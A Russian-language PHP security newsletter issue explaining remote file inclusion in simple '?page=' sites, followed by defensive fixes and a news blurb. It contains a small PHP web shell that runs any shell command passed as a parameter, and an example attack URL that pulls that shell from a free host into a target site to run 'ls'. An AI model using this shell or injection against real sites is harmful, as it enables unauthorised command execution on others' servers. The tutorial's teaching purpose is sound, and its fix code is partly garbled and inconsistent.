Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

РНР глазами хакера. Обучение. Вопросы - ответы.


PHP глазами хакера: Разбор простых CMS .
  » Содержание
  » Разбор сайтов построенных по типу page=
  » Новости
  » Форум

  » Разбор сайтов по типа "?page="
Без сомнения такие сайты довольно просто и быстро сделать. Потому как сайт, в принцыпе, может состоят из 1го файла - движка сайта.
В оптимально варианте лучше сделать из 3х файлов:
* header.php - дизайн, шапочка.
* footer.php - дизайн, конец страниц, копирайты, прочее.
* index.php - движок.

Многие такие сайты построенны по типу:
<?
    
if(!isset($page)) $page="index.html";    // 
    
include("header.php");
    include(
$page);
    include(
"footer.php");
?>

Только еще добавляют разные разметки html.
На самом сайте создаются ссылки вида: ?page=data/help.html
Теперь рассмотрим как можно взломать подобный сайт?
Обычно для таких целей создается аккаунт на бесплатном хостинге БЕЗ поддержки PHP (narod.ru, boom.ru etc.). Туда заливается скрипт типа:

<?
    
if(isset($command))    
        {
            echo `
$command`;
        }
?>

А теперь в строку запроса сайта пишем типа: http://target.com/?page=http://site.narod.ru/shell.php&command=ls
Поскольку РНР не поддерживается, потому РНР будет вставлен в код сайта. В итоге мы увидим листинг папки сайта. Далее в command может подставлять различные *nix комманды и будем видеть результат. То есть сделали типа shell.

Как защитить такие сайты?
Достаточно отфильтровать на .(точку) и /(слэш).
В принцыпе, достаточно, чтобы код был таков:
<?
// ... подключение шапки
if(!isset($page)) $page="index";
$page str_replace("."""str_replace("/"""str_replace(":"""$page))); // Вырезаем :/.
if(!file_exists($page.".html")) $page="index"// Если файл {$page}.html не существует, присвоить index
include($page.".html");    // Вставить страничку.
?>

Поскольку при таком расскладе хакер видит пути, то я советую использывать ссылки вида: ?id=1, ?id=2, ..., ?id=n
А в коде сделать типа такое:
<?
// ...
$page[1]="index.html";
$page[2]="help.html";
# ...
?>

В таком случае, получить страницу можно получить сразу же: $loadpage = $pages[$id];
Но! Нужно проверить переменную id, чтобы наша конструкция вернула страничку, пишим след. код:
<?
    
// ... include
    
$pages[1]="index.html";
    
$pages[2]="help.html";
    
# ...
    
if(!isset($id)) $id=1;
    
$id=intval($id);
    if(
$id<or $id>count($pages)) 
        {
            
$loadpage $page[1];
        }
        else
        {
            
$loadpage $page[$id];
        }

    include(
$loadpage);
    
//.. работаем дальше.
?>

  » Новости
PHPBB 2.0.20
В свет вышла новая версия форума PHPBB2.
Скачать свежую версию можно по адресу: http://www.phpbb.com/downloads.php
  » Форум
Всегда рады видеть вас на форуме: http://forum.mcdeveloper.com

Обсуждение данной рассылки находится здесь: http://forum.mcdeveloper.com/index.php?showtopic=26

В избранное